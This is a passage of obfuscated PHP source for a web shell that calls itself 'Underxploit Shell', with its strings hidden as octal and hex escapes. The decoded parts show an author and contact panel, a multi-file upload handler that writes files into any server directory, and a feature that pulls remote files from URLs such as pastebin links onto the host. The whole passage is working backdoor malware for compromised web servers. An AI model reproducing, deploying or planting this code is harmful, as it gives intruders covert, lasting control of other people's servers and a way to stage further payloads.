s("\106\x6f\162\155\40\144\157\40\x6e\x6f\164\40\154\145\141\166\145\40\x65\x6d\160\x74\171"); print "\144\157\143\x75\x6d\145\x6e\164\56\147\145\164\105\x6c\x65\155\x65\156\x74\x42\171\111\144\x28\42\144\x65\x63\x6f\143\164\x22\x29\x2e\146\157\x63\165\163\50\x29\x3b\xa\40\x20\40\x20\40\40\162\x65\164\165\x72\x6e\x20\x66\x61\154\x73\x65\x3b\12\x9\x7d\40\x64\x6f\143\x75\x6d\145\156\x74\56\147\x65\164\x45\x6c\x65\155\x65\x6e\x74\x42\x79\x49\x64\50\42\x63\x68\143\162\157\164\x22\x29\x2e\163\165\x62\155\151\x74\x28\51\73\12\x7d\x20\74\x2f\163\x63\x72\151\160\164\x3e"; break; case "\x61\x62\x6f\x75\x74": print "\74\x64\x69\x76\x20\x63\x6c\x61\163\x73\x3d\x22\x63\x6f\x4c\55\x70\x61\156\145\154\x22\x3e\74\164\x61\x62\x6c\x65\x3e\x3c\x74\x64\40\x63\154\x61\x73\163\x3d\x22\x74\144\x2d\x70\141\x6e\145\x6c\42\x3e\x3c\143\x65\156\x74\x65\x72\x3e\74\144\151\166\40\x63\x6c\141\163\x73\x3d\x22\154\x6f\141\x64\x65\162\x22\x3e\74\57\144\x69\x76\x3e\x3c\x2f\x63\x65\156\164\145\162\76\x3c\57\164\x64\x3e\x3c\164\x64\x20\x63\x6c\141\163\x73\x3d\x22\x74\x64\55\160\141\156\x65\x6c\x2d\162\x69\147\150\164\42\x3e\x41\x42\117\x55\124\40\115\x45\74\x2f\x74\x64\x3e\74\x2f\x74\141\142\154\x65\x3e\x3c\57\x64\151\166\76"; print "\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\x22\x63\x6f\114\55\157\160\164\151\x6f\156\x22\40\x73\x74\x79\x6c\145\75\42\x70\x61\x64\144\151\x6e\x67\72\x37\x70\170\42\x3e\x3c\x62\x72\40\57\76\x3c\x62\162\40\57\76\xa\40\40\40\40\74\143\x65\156\164\145\x72\x3e\74\x69\40\143\x6c\141\x73\163\x3d\x22\x7a\155\x64\151\40\x7a\x6d\144\151\x2d\163\150\151\x65\x6c\144\x2d\143\x68\x65\x63\x6b\x20\172\x6d\x64\151\55\x68\143\55\64\x78\x20\141\156\x69\155\x61\164\145\x64\40\151\156\x66\x69\x6e\x69\164\x65\x20\x72\x75\x62\142\x65\x72\102\141\156\144\42\x3e\x3c\57\x69\76\x3c\x2f\143\x65\x6e\164\x65\162\x3e\x3c\x62\x72\40\57\76\12\40\40\x20\40\74\143\145\x6e\164\x65\162\x3e\xa\x20\40\40\40\40\40\x20\40\x3c\x66\157\156\164\x20\x73\151\x7a\145\x3d\42\64\x70\x78\x22\40\163\164\x79\154\x65\75\42\x73\x68\x61\x64\157\167\72\62\x70\170\x20\62\x70\170\x20\x30\x70\x78\x20\43\x66\146\146\x22\76\x55\x4e\x44\105\122\130\120\114\x4f\x49\x54\x20\x53\110\x45\x4c\114\74\x2f\146\x6f\x6e\x74\76\xa\40\40\x9\11\11\74\142\162\40\57\76\74\151\x20\x63\154\x61\x73\163\x3d\42\x7a\155\144\x69\40\172\x6d\144\x69\x2d\x67\x6c\x6f\x62\x65\x2d\154\x6f\143\x6b\40\x7a\x6d\144\x69\55\x68\x63\x2d\146\167\x22\x3e\74\57\151\76\74\x73\160\141\x6e\40\x63\154\x61\x73\x73\x3d\x22\x6c\x61\x62\145\x6c\55\163\x75\143\143\145\x73\163\x22\76\x20\150\x74\x74\160\x3a\57\57" . $_SERVER["\110\124\x54\120\x5f\110\117\123\x54"] . "\74\57\x73\160\141\156\x3e\x3c\57\x63\145\156\x74\x65\x72\x3e\74\142\162\40\x2f\x3e\x3c\142\x72\x20\57\76\12\x9\74\x2f\144\x69\x76\x3e\xa\12\x3c\x64\151\166\x20\143\x6c\x61\x73\163\x3d\42\x63\157\x4c\55\x70\x61\x6e\145\154\40\164\x6f\x70\42\76\xa\40\40\x20\x20\x3c\164\141\142\x6c\145\76\xa\40\x20\x20\40\x20\x20\40\x20\74\x74\144\x20\143\x6c\x61\x73\163\x3d\x22\x74\144\55\x70\141\156\x65\154\x22\x3e\xa\40\40\40\x20\40\x20\40\40\40\x20\x20\40\74\x63\145\156\x74\x65\x72\76\12\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\x9\74\x64\151\x76\x20\143\154\x61\x73\163\75\x22\x6c\x6f\141\x64\145\162\42\x3e\74\57\x64\151\166\76\xa\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x9\74\x2f\x63\x65\156\x74\145\162\x3e\12\40\40\x20\40\40\40\40\40\x9\x3c\x2f\x74\x64\x3e\12\x20\40\40\40\x20\x20\x20\40\x3c\164\144\x20\143\x6c\x61\163\x73\75\42\x74\x64\x2d\x70\x61\156\145\x6c\55\162\x69\147\150\x74\x22\x3e\x43\x52\x45\104\111\124\123\74\x2f\164\144\x3e\12\40\x20\x20\x20\74\57\x74\x61\x62\154\145\76\xa\74\x2f\144\x69\x76\x3e\xa\x3c\144\x69\x76\40\x69\x64\75\42\160\x61\x6b\x73\141\x22\x3e\74\x74\x61\142\154\145\x20\143\x6c\x61\163\x73\75\42\164\x61\x62\x6c\145\x2d\151\x6e\146\x6f\42\x3e\12\40\40\x20\40\x3c\164\162\40\143\154\x61\163\163\75\x22\x65\170\x2d\x68\157\166\42\x3e\12\40\40\x20\40\x20\40\40\40\74\x74\x64\40\x73\x74\x79\x6c\145\x3d\42\x77\x69\x64\164\x68\72\x31\61\60\160\x78\42\x20\x63\x6c\141\x73\163\x3d\x22\164\144\x2d\x69\156\x66\157\x22\76\x3c\163\160\141\x6e\x20\x63\154\141\x73\x73\75\x22\154\141\x62\x65\x6c\40\154\x61\142\x65\154\x2d\163\165\x63\x63\145\x73\163\42\x3e\74\151\x20\143\x6c\141\163\x73\75\42\x7a\x6d\144\151\x20\x7a\155\144\151\x2d\160\x6c\165\163\x20\x7a\155\x64\x69\55\150\x63\x2d\x66\167\42\76\x3c\57\151\76\x3c\57\x73\x70\x61\x6e\76\40\116\x61\155\x65\x3c\x2f\x74\144\76\12\40\x20\x20\x20\x20\40\x20\x20\74\x74\x64\40\x63\154\x61\163\163\75\x22\x74\x64\x2d\151\x6e\x66\157\x22\x3e\72\40\125\156\144\145\162\170\x70\154\x6f\151\164\40\x53\150\145\x6c\x6c\x3c\x2f\164\x64\x3e\xa\40\40\x20\x20\74\x74\162\40\x63\x6c\x61\163\x73\75\42\x65\x78\x2d\150\x6f\166\x22\76\12\x20\x20\x20\x20\40\40\x20\40\x3c\x74\x64\x20\163\164\171\x6c\x65\75\42\167\x69\144\164\150\x3a\61\x31\x30\x70\170\42\x20\143\x6c\x61\163\163\x3d\42\x74\x64\x2d\151\156\x66\x6f\x22\76\x3c\163\160\141\156\40\x63\154\x61\x73\x73\75\x22\154\141\142\145\154\40\x6c\x61\142\145\154\x2d\163\165\x63\x63\145\163\x73\42\76\x3c\151\x20\x63\x6c\x61\163\x73\x3d\42\x7a\x6d\144\151\40\x7a\x6d\144\151\55\x70\154\165\x73\40\172\x6d\144\x69\55\x68\x63\x2d\x66\x77\42\76\74\57\151\76\74\x2f\163\x70\141\x6e\x3e\40\126\x65\162\163\151\x6f\x6e\x3c\57\x74\144\76\xa\40\x20\40\40\40\40\x20\40\74\164\144\x20\x63\x6c\x61\x73\163\x3d\x22\x74\144\55\x69\x6e\146\x6f\x22\x3e\72\40\x30\x2e\61\x2e\x34\x20\x5b\x20\x44\141\x72\153\x20\135\74\57\x74\144\x3e\12\40\40\x20\40\74\164\162\x20\143\154\x61\x73\163\x3d\42\x65\x78\x2d\150\157\166\42\x3e\12\40\x20\40\x20\x20\40\40\40\x20\x3c\164\144\40\163\164\x79\x6c\x65\x3d\x22\x77\151\144\164\150\x3a\61\61\x30\x70\170\42\40\x63\154\x61\163\x73\x3d\42\164\144\x2d\x69\x6e\146\x6f\x22\x3e\74\x73\160\141\156\x20\143\x6c\141\x73\163\75\42\154\x61\x62\145\x6c\x20\x6c\141\x62\x65\154\55\163\165\143\x63\145\163\x73\x22\x3e\x3c\x69\40\x63\x6c\x61\x73\x73\75\42\x7a\x6d\x64\x69\x20\x7a\x6d\x64\151\x2d\160\154\x75\163\x20\172\x6d\144\x69\x2d\x68\x63\55\146\167\x22\76\x3c\57\151\x3e\x3c\57\163\x70\x61\156\x3e\40\101\165\x74\x68\x6f\162\74\57\164\x64\x3e\12\x20\x20\40\40\40\x20\40\x20\40\74\164\144\40\x63\154\141\163\163\75\42\164\144\55\x69\x6e\146\157\42\76\72\40\127\x69\x6c\x64\x61\x6e\40\111\x7a\172\x75\x64\151\156\74\x2f\164\144\x3e\12\40\40\x20\40\x3c\x74\162\x20\x63\x6c\141\163\x73\x3d\x22\x65\170\55\150\157\x76\42\x3e\12\40\40\x20\x20\40\x20\40\x20\40\40\x3c\164\x64\40\x73\x74\171\x6c\x65\75\x22\x77\151\x64\x74\x68\x3a\61\61\60\x70\x78\42\40\x63\x6c\141\163\x73\x3d\42\x74\x64\x2d\151\x6e\146\x6f\x22\x3e\x3c\x73\x70\x61\x6e\x20\143\154\x61\x73\x73\75\42\x6c\141\142\x65\154\40\154\x61\142\x65\154\x2d\x73\x75\143\143\x65\163\163\x22\x3e\x3c\x69\x20\143\154\141\x73\x73\75\x22\172\155\x64\x69\x20\172\155\x64\151\x2d\x70\154\x75\163\x20\172\x6d\144\x69\x2d\150\143\x2d\x66\167\42\x3e\x3c\x2f\151\x3e\74\x2f\163\160\141\156\x3e\40\x45\x6d\x61\151\x6c\74\x2f\164\144\76\xa\40\x20\40\x20\x20\40\x20\40\40\40\x3c\x74\x64\x20\143\154\x61\x73\x73\75\42\x74\144\x2d\151\x6e\x66\157\x20\x62\x72\145\141\x6b\x22\x3e\72\x20\x3c\141\40\143\x6c\x61\163\x73\75\42\x61\42\40\150\162\x65\146\x3d\42\x6d\x61\x69\154\164\x6f\72\x75\156\x64\145\x72\x78\160\x6c\x6f\x69\x74\x40\147\155\x61\x69\154\56\x63\x6f\x6d\42\76\165\156\144\145\x72\x78\x70\154\x6f\151\x74\100\147\x6d\x61\x69\x6c\56\143\157\x6d\x3c\x2f\x61\76\74\x2f\164\x64\x3e\xa\40\40\x20\x20\x3c\x74\162\40\x63\154\x61\163\x73\x3d\x22\x65\170\55\150\x6f\x76\42\x3e\xa\x20\x20\40\40\40\40\40\x20\40\x20\x20\74\x74\144\x20\x73\x74\171\154\145\75\42\167\151\144\164\150\72\x31\x31\60\x70\x78\42\40\143\154\141\163\163\75\x22\x74\144\x2d\x69\156\x66\157\42\x3e\74\163\160\x61\156\40\143\154\x61\163\163\x3d\42\154\x61\x62\x65\x6c\x20\x6c\141\142\145\154\55\163\165\x63\143\x65\163\x73\x22\x3e\x3c\x69\x20\143\x6c\x61\x73\163\75\x22\x7a\155\x64\151\x20\x7a\x6d\144\151\x2d\x70\x6c\165\x73\40\172\155\x64\x69\55\150\x63\x2d\146\x77\42\x3e\74\57\151\x3e\74\x2f\163\x70\141\156\76\x20\106\141\143\145\142\x6f\157\x6b\x3c\x2f\164\144\x3e\xa\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\74\164\x64\40\143\x6c\x61\x73\163\75\42\164\144\55\x69\x6e\x66\157\40\x62\x72\145\141\x6b\x22\x3e\x3a\x20\74\x61\x20\143\x6c\x61\163\163\x3d\42\x61\x22\x20\x68\162\x65\x66\75\42\150\x74\164\160\72\x2f\x2f\x77\x77\167\x2e\146\x61\x63\x65\142\157\157\153\56\143\x6f\155\57\127\111\114\104\101\116\56\x4f\x46\106\111\x43\111\x41\114\42\76\100\127\111\114\x44\101\116\x2e\x4f\x46\x46\x49\x43\111\101\x4c\74\57\x61\x3e\x3c\x2f\164\x64\76\12\40\x20\x20\x20\74\164\162\40\143\x6c\141\163\x73\75\42\x65\170\x2d\x68\x6f\x76\42\x3e\xa\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\x3c\164\x64\x20\x73\164\171\154\x65\x3d\x22\167\151\144\x74\x68\x3a\61\61\60\160\170\x22\40\143\154\141\x73\163\75\x22\164\x64\55\x69\156\x66\x6f\x22\76\x3c\x73\x70\x61\156\40\143\154\141\163\163\75\x22\x6c\141\x62\x65\x6c\40\x6c\141\x62\x65\x6c\x2d\x73\x75\143\143\x65\x73\163\42\x3e\x3c\151\40\x63\x6c\141\163\163\75\x22\172\x6d\144\x69\x20\x7a\155\144\x69\x2d\160\x6c\165\163\x20\172\155\144\x69\x2d\150\143\55\146\x77\42\x3e\74\x2f\x69\76\74\x2f\x73\x70\141\x6e\x3e\x20\102\x6c\157\x67\x3c\x2f\164\x64\x3e\xa\x20\x20\40\40\40\40\x20\40\40\40\40\40\74\x74\x64\x20\143\154\x61\163\x73\75\42\164\x64\x2d\151\x6e\146\157\x22\x3e\72\x20\x3c\x61\40\143\154\x61\x73\163\x3d\x22\141\x22\40\x68\162\x65\146\75\42\43\x22\x3e\x55\x6e\x64\145\162\170\160\154\157\x69\x74\x20\122\x65\142\x6f\162\156\x3c\57\x61\x3e\x3c\x2f\164\x64\x3e\12\11\x3c\57\164\141\142\x6c\x65\x3e\xa\x3c\57\144\151\166\x3e\xa\74\x64\151\x76\x20\x63\154\141\163\163\75\42\x63\157\x4c\x2d\157\160\x74\x69\x6f\156\42\x3e\12\x20\x20\40\40\74\143\x65\x6e\164\145\162\76\x3c\x62\x72\40\57\x3e\x49\146\40\x74\150\145\x72\145\40\x69\163\x20\x61\156\171\40\x73\165\x67\x67\145\x73\164\x69\x6f\156\40\157\162\x20\146\145\x65\x64\x62\x61\x63\x6b\40\160\x6c\145\141\163\145\x20\x63\157\156\164\141\143\x74\x20\x6d\x65\40\x74\x68\x72\x6f\165\x67\x68\x20\164\x68\x65\40\143\157\x6e\x74\141\143\164\x20\x61\142\x6f\166\145\56\x3c\x62\162\x20\57\x3e\x3c\x62\162\x20\57\x3e\xa\40\40\40\40\40\40\x20\40\74\x63\145\156\x74\x65\162\x3e\x3c\x62\162\40\x2f\x3e\46\155\x64\x61\163\x68\73\40\x54\150\141\x6e\x6b\x20\x59\x6f\165\x20\46\x6d\x64\x61\x73\x68\x3b\74\57\x63\x65\156\164\145\x72\x3e\12\x9\74\57\x64\151\x76\76\12\74\57\144\x69\x76\76"; break; case "\x75\x70\154\157\141\x64": print "\x3c\144\x69\x76\40\143\x6c\141\163\163\75\42\x63\x6f\114\55\x70\141\156\145\154\x22\x3e\x3c\164\x61\x62\x6c\145\76\12\11\x9\x3c\164\144\40\143\x6c\141\x73\163\x3d\42\x74\144\55\x70\141\x6e\145\x6c\42\x3e\74\x63\x65\156\x74\145\x72\x3e\74\144\x69\x76\40\143\154\x61\163\163\x3d\x22\154\157\x61\x64\145\162\x22\76\74\x2f\144\x69\166\76\74\x2f\143\x65\156\x74\x65\162\76\74\x2f\x74\x64\76\x3c\164\144\x20\x63\154\141\163\x73\x3d\x22\x74\144\55\160\141\156\145\x6c\55\x72\151\x67\x68\164\42\76\x4d\125\x4c\124\x49\x50\114\105\40\125\120\x4c\117\101\x44\x3c\57\164\x64\x3e\x3c\x2f\x74\141\x62\x6c\145\x3e\74\57\x64\151\x76\76"; switch (true) { case $_REQUEST["\x75\x70\154\157\x61\144"]: switch (true) { case $_UNDERXPLOIT["\165\x70\154\157\x61\x64"]: $ff = count($_FILES["\146\151\154\145"]["\156\141\x6d\145"]); for ($i = 0; $i < $ff; $i++) { $drp = $_FILES["\146\x69\x6c\x65"]["\156\x61\x6d\145"][$i]; switch (true) { case empty($drp): continue 2; break; } if (isset($_REQUEST["\165\x66\x69\154\145"][$i])) { $ufile = $_REQUEST["\x75\x66\x69\x6c\145"][$i]; switch (true) { case empty($ufile): $cx = $_FILES["\x66\x69\154\145"]["\156\141\x6d\145"][$i]; break; default: $cx = $ufile; } switch (true) { case @copy($_FILES["\x66\x69\x6c\145"]["\x74\155\160\x5f\x6e\x61\x6d\145"][$i], $dir . "\57" . $cx): bacot("\106\x69\154\x65\40\x75\x70\154\157\141\144\145\144\x20\163\165\143\143\145\163\146\x75\154\x6c\x79"); break; default: bacot("\x46\x61\x69\x6c\145\144\x20\x74\x6f\x20\x75\160\154\x6f\141\x64\x20\x66\x69\x6c\x65"); } } } break; } break; } print "\74\x73\143\162\151\x70\164\40\164\171\x70\145\x3d\42\x74\x65\170\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\151\x70\164\42\76\xa\x24\50\x64\x6f\x63\x75\155\145\x6e\164\51\x2e\162\x65\141\x64\x79\50\146\165\x6e\143\164\151\x6f\x6e\50\x29\40\x7b\12\x9\166\x61\x72\x20\x77\x72\x31\40\x3d\x20\x24\50\42\x2e\x69\x6e\160\x75\164\137\61\42\x29\x3b\12\x9\x76\141\x72\40\x61\x64\x64\x31\40\x3d\x20\44\50\x22\x2e\141\x64\x64\137\61\x22\51\x3b\x20\12\11\x76\141\x72\40\x78\61\x20\75\x20\61\73\40\xa\xa\44\x28\141\144\x64\61\51\x2e\143\154\x69\143\x6b\50\x66\165\156\143\164\151\x6f\x6e\x28\x65\51\40\173\x20\12\x9\11\x65\56\x70\162\x65\x76\x65\156\x74\104\145\x66\x61\x75\154\164\50\51\x3b\xa\x9\11\11\151\146\x28\x78\x31\40\74\40\x35\x29\x20\x7b\40\xa\x9\x9\x9\x9\x78\x31\x2b\x2b\73\x20\12\x9\11\x9\x24\x28\167\x72\x31\x29\x2e\x61\160\x70\x65\x6e\x64\50\47\74\164\141\x62\x6c\x65\76\x3c\x74\x64\40\143\x6c\x61\x73\163\75\42\x74\165\x70\42\40\x73\164\x79\x6c\145\x3d\x22\x77\x69\144\164\x68\72\x32\60\45\42\76\106\x69\x6c\x65\x20\72\x3c\x2f\164\144\x3e\x3c\x74\144\x20\163\x74\x79\x6c\145\x3d\x22\167\x69\144\164\x68\72\x38\60\45\42\x3e\x3c\x69\x6e\x70\x75\164\40\x74\x79\x70\x65\x3d\42\146\x69\x6c\x65\x22\40\156\x61\x6d\x65\x3d\42\146\151\x6c\x65\133\135\42\x3e\x3c\x2f\x74\144\76\x3c\x74\162\x3e\x3c\x74\144\40\143\x6c\141\x73\163\x3d\x22\164\165\x70\42\40\x73\164\x79\154\145\75\42\167\151\144\x74\150\x3a\x32\60\45\x22\76\116\141\155\x65\40\x3a\x3c\57\x74\144\x3e\x3c\164\x64\x20\163\x74\x79\x6c\x65\75\x22\167\x69\x64\164\x68\72\70\60\45\42\76\74\x69\x6e\160\x75\x74\x20\156\141\155\x65\x3d\x22\x75\x66\151\x6c\x65\133\x5d\x22\x20\x74\x79\x70\145\x3d\42\164\x65\170\x74\x22\x20\160\154\x61\143\x65\x68\x6f\154\x64\145\x72\x3d\x22\x28\40\117\160\164\x69\x6f\156\141\154\40\51\x22\40\x76\141\x6c\165\145\x3d\x22\42\40\57\x3e\74\x2f\x74\144\76\x3c\x2f\x74\x61\142\x6c\x65\76\x27\x29\x3b\xa\11\11\x7d\x20\x65\154\163\x65\40\173\12\x9\11\x9\44\50\x22\x2e\141\x64\x64\x5f\x31\x22\x29\56\x68\151\x64\x65\x28\x29\x3b\12\x9\x9\175\xa\x9\x7d\x29\73\xa\x24\x28\167\x72\x31\x29\x2e\157\x6e\50\42\x63\x6c\x69\143\x6b\42\x2c\x22\x2e\162\145\x6d\x6f\x76\x65\x5f\146\151\x65\x6c\144\x22\x2c\40\146\x75\x6e\143\164\x69\x6f\156\50\x65\51\40\173\x20\12\x9\x9\x65\56\x70\162\x65\166\145\156\x74\104\x65\146\141\x75\x6c\x74\x28\51\73\x20\44\50\164\150\151\x73\x29\x2e\160\x61\162\x65\156\x74\x28\47\144\151\166\x27\x29\x2e\162\145\x6d\x6f\x76\145\50\51\x3b\x20\170\61\55\55\73\12\x9\x7d\x29\xa\x7d\51\73\74\x2f\163\143\x72\151\x70\164\x3e\12\x9\x9\74\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\x22\x63\157\114\x2d\x6f\160\164\151\157\x6e\42\x3e\74\x64\x69\166\x20\143\x6c\x61\163\163\x3d\x22\167\162\x22\76\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\x73\163\75\x22\154\141\142\x65\x6c\x2d\x73\x75\143\x63\x65\163\163\42\76\74\x69\40\x63\154\x61\163\x73\x3d\x22\172\x6d\x64\151\x20\172\x6d\144\151\x2d\x63\x68\145\166\x72\x6f\x6e\x2d\x72\x69\x67\150\164\x20\172\155\144\151\55\150\x63\x2d\x66\x77\42\x3e\74\57\x69\76\x3c\57\x73\160\141\x6e\76\40\106\x72\157\x6d\40\x44\x65\x76\151\x63\145\x20\72\40\74\142\165\x74\164\157\156\x20\x63\x6c\141\163\x73\x3d\42\154\x61\x77\x62\x20\141\144\x64\137\61\42\x20\163\x74\171\x6c\x65\75\42\x77\151\x64\x74\150\72\65\60\x70\170\x3b\x66\154\x6f\x61\x74\72\162\x69\147\x68\x74\x22\76\101\144\144\40\74\57\142\x75\x74\x74\157\156\76\x3c\x2f\x64\151\166\76\74\x68\x72\x3e\12\x20\x20\40\x20\x3c\146\157\x72\155\40\145\156\143\x74\171\160\145\x3d\x22\x6d\165\154\x74\x69\160\141\162\164\x2f\x66\157\162\155\x2d\144\141\164\x61\42\40\x61\x63\164\x69\x6f\156\75\x22\77" . x7 . "\x75\x70\154\x6f\x61\x64\46" . x5 . $dir . "\42\x20\155\x65\x74\x68\x6f\x64\x3d\x22\120\x4f\123\124\42\40\163\164\171\154\145\75\x22\x6d\141\162\147\151\156\72\x30\x70\170\42\76\12\40\x20\74\x64\151\166\40\143\x6c\141\x73\163\75\42\151\156\160\x75\x74\137\61\42\76\40\x20\40\40\40\x20\12\74\164\141\142\154\x65\76\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\74\164\144\40\143\x6c\x61\163\163\x3d\x22\x74\x75\x70\42\40\x73\164\171\x6c\x65\x3d\42\x77\x69\144\x74\x68\72\62\x30\x25\x22\x3e\106\x69\x6c\145\40\x3a\x3c\x2f\164\144\76\xa\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x3c\x74\x64\x20\x73\x74\171\x6c\x65\x3d\42\167\151\x64\x74\150\x3a\x38\60\x25\42\x3e\xa\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x3c\x69\x6e\160\x75\164\40\164\171\x70\145\75\42\x66\x69\x6c\145\x22\x20\x6e\141\x6d\x65\75\42\146\x69\x6c\x65\133\x5d\42\x3e\74\x2f\x74\x64\x3e\xa\x20\x20\x20\40\x20\40\40\x20\74\x74\162\x3e\12\40\x20\40\40\40\40\x20\40\40\40\40\x20\74\164\x64\x20\x63\x6c\141\x73\163\75\x22\x74\165\160\42\x20\163\164\x79\154\145\x3d\x22\167\151\x64\164\150\72\x32\x30\x25\x22\x3e\x4e\141\155\x65\x20\x3a\74\x2f\x74\144\76\12\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x3c\x74\144\40\x73\164\x79\x6c\x65\x3d\42\x77\151\144\164\150\x3a\x38\x30\x25\x22\x3e\74\151\x6e\160\x75\x74\40\156\x61\155\145\75\42\165\x66\x69\154\x65\133\x5d\x22\40\164\x79\160\x65\x3d\x22\164\145\x78\164\x22\40\160\154\141\143\x65\x68\x6f\154\144\145\162\x3d\x22\50\40\117\160\164\151\157\156\x61\x6c\40\x29\x22\x20\x76\x61\x6c\x75\145\x3d\42\x22\x20\57\x3e\74\57\164\144\x3e\xa\x20\x3c\57\164\x61\142\x6c\145\x3e\12\40\x20\x20\40\11\x3c\x2f\144\x69\x76\76\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\12\x3c\x74\x61\x62\x6c\x65\76\74\x74\144\40\163\164\x79\x6c\145\75\42\167\151\x64\164\x68\x3a\62\x30\45\x22\76\x3c\57\164\x64\76\12\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\74\164\144\x20\x73\164\x79\154\145\x3d\42\x77\x69\144\x74\x68\72\70\x30\45\42\76\74\151\x6e\x70\x75\x74\x20\x74\x79\160\145\x3d\x22\163\x75\142\155\x69\164\x22\40\x6e\141\155\x65\75\x22\165\x70\154\157\141\x64\x22\40\163\x74\171\x6c\x65\x3d\42\167\151\x64\164\x68\72\x31\x30\x30\160\x78\x22\40\166\141\x6c\165\145\75\42\x55\160\154\157\141\144\42\x20\143\x6c\x61\163\x73\75\x22\x62\164\x6e\55\145\170\x65\x22\40\57\76\12\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\74\x2f\164\x64\x3e\xa\40\40\40\40\40\40\40\40\74\x2f\x74\141\x62\154\145\x3e\12\40\40\x20\x20\x3c\57\x66\x6f\162\x6d\x3e\12\74\57\144\151\166\76"; if (isset($_UNDERXPLOIT["\x73\x75\x62\155\x69\x74"])) { $url = count($_UNDERXPLOIT["\x75\162\x6c"]); for ($i = 0; $i < $url; $i++) { $drq = $_UNDERXPLOIT["\x75\162\x6c"][$i]; switch (true) { case empty($drq): continue 2; } switch (true) { case empty($_UNDERXPLOIT["\x75\x6e\141\155\145"][$i]): $ufc = basename($drq); break; default: $ufc = $_UNDERXPLOIT["\x75\156\x61\x6d\145"][$i]; } switch (true) { case op($ufc, $drq): bacot("\x46\151\x6c\x65\x20\x69\155\160\x6f\x72\164\x65\x64"); break; default: bacot("\106\x61\x69\154\x65\144\x20\x74\x6f\40\x69\x6d\160\x6f\162\x74\40\x66\151\x6c\145"); } } } print "\x3c\163\143\x72\151\x70\x74\x20\164\171\x70\x65\x3d\42\x74\x65\x78\164\57\152\x61\166\141\163\x63\x72\151\160\164\x22\76\xa\x24\x28\x64\x6f\x63\x75\155\x65\156\x74\x29\56\162\145\141\x64\x79\x28\x66\x75\156\x63\164\151\x6f\x6e\50\51\40\173\12\x9\166\141\162\x20\x77\162\x32\x20\x3d\x20\x24\50\42\56\151\x6e\160\165\164\137\x32\42\51\x3b\xa\x9\166\x61\x72\40\141\144\144\x32\40\x3d\40\x24\x28\x22\x2e\141\144\x64\137\62\42\51\73\x20\12\11\x76\141\x72\x20\x78\x32\x20\x3d\x20\61\x3b\40\12\xa\44\x28\141\x64\144\62\51\x2e\x63\154\151\x63\x6b\50\146\165\156\x63\x74\151\157\x6e\x28\x65\51\x20\173\40\12\11\11\x65\x2e\160\162\145\x76\145\x6e\x74\x44\x65\146\141\x75\154\164\50\x29\x3b\12\11\11\x9\151\x66\x28\170\x32\40\74\x20\x35\x29\x20\173\x20\xa\x9\11\x9\11\x78\x32\53\x2b\x3b\40\xa\x9\11\x9\44\50\x77\x72\x32\x29\x2e\x61\160\160\x65\156\144\x28\x27\74\x74\x61\142\x6c\x65\x20\x73\x74\171\x6c\x65\75\42\x77\151\144\164\150\72\x31\60\x30\45\x22\x3e\74\x74\x64\x20\x63\x6c\141\x73\163\75\x22\164\165\160\42\x20\x73\x74\x79\x6c\x65\75\42\167\x69\144\x74\150\x3a\62\60\x25\x22\x3e\x4c\151\x6e\153\x20\x3a\x3c\x2f\x74\144\x3e\74\164\144\40\163\164\x79\154\x65\x3d\42\167\151\144\x74\x68\x3a\70\x30\x25\42\76\x3c\x69\156\x70\x75\x74\x20\164\171\x70\x65\75\x22\x74\x65\170\164\42\40\x6e\x61\x6d\x65\75\42\165\162\x6c\x5b\135\42\x20\160\x6c\x61\143\145\150\x6f\x6c\144\x65\162\x3d\42\150\164\164\x70\x73\x3a\57\57\160\141\163\164\x65\x62\151\156\56\x63\157\155\57\x72\x61\x77\x2f\115\x34\x62\x4a\x4a\x74\x42\104\42\x20\163\164\x79\x6c\145\75\42\167\x69\x64\x74\150\x3a\x31\60\x30\45\42\x3e\74\57\164\144\76\74\164\162\x3e\74\164\x64\x20\143\x6c\141\x73\163\75\42\164\165\160\42\x20\163\164\x79\154\145\75\42\x77\x69\144\x74\x68\x3a\62\x30\45\x22\76\116\x61\155\145\x20\x3a\74\57\164\x64\76\x3c\164\x64\40\163\164\171\x6c\x65\x3d\42\167\151\x64\x74\150\x3a\70\60\45\x22\76\74\x69\x6e\x70\x75\x74\40\164\x79\x70\145\75\42\x74\x65\x78\164\42\x20\x6e\141\155\145\x3d\42\x75\156\141\155\x65\133\x5d\x22\x20\x73\164\171\154\x65\75\x22\167\151\144\164\150\72\61\x30\x30\45\x22\x20\x70\x6c\141\x63\x65\150\157\x6c\x64\145\x72\x3d\42\50\x20\117\x70\x74\151\x6f\x6e\x61\x6c\x20\x29\42\x3e\74\x2f\164\144\x3e\74\57\164\x61\x62\x6c\145\76\x27\51\73\xa\x9\x9\175\40\145\154\x73\x65\x20\x7b\xa\x9\x9\11\x24\x28\42\x2e\x61\144\x64\137\62\x22\51\56\150\151\144\145\50\x29\x3b\12\x9\11\x7d\xa\x7d\51\x3b\12\11\x24\50\x77\x72\62\x29\56\x6f\x6e\x28\x22\x63\154\151\143\153\x22\54\42\x2e\x72\145\x6d\x6f\x76\x65\137\146\x69\x65\x6c\x64\x22\x2c\40\x66\x75\156\x63\x74\151\x6f\156\x28\145\x29\40\173\40\xa\11\x9\145\56\x70\x72\x65\x76\x65\156\x74\x44\145\x66\141\165\x6c\164\x28\x29\73\40\44\x28\164\150\151\x73\x29\56\160\141\162\145\156\164\50\47\144\x69\166\x27\x29\56\162\x65\155\157\x76\145\x28\51\73\x20\x78\x32\55\x2d\73\12\11\175\x29\xa\x7d\x29\x3b\74\x2f\163\x63\x72\x69\x70\x74\76\xa\x3c\144\x69\x76\x20\x63\x6c\x61\163\x73\75\x22\x63\x6f\x4c\x2d\157\x70\x74\151\x6f\x6e\40\x74\157\160\42\76\74\144\x69\x76\x20\x63\x6c\x61\163\x73\x3d\42\x77\x72\x22\76\x3c\x73\x70\x61\156\x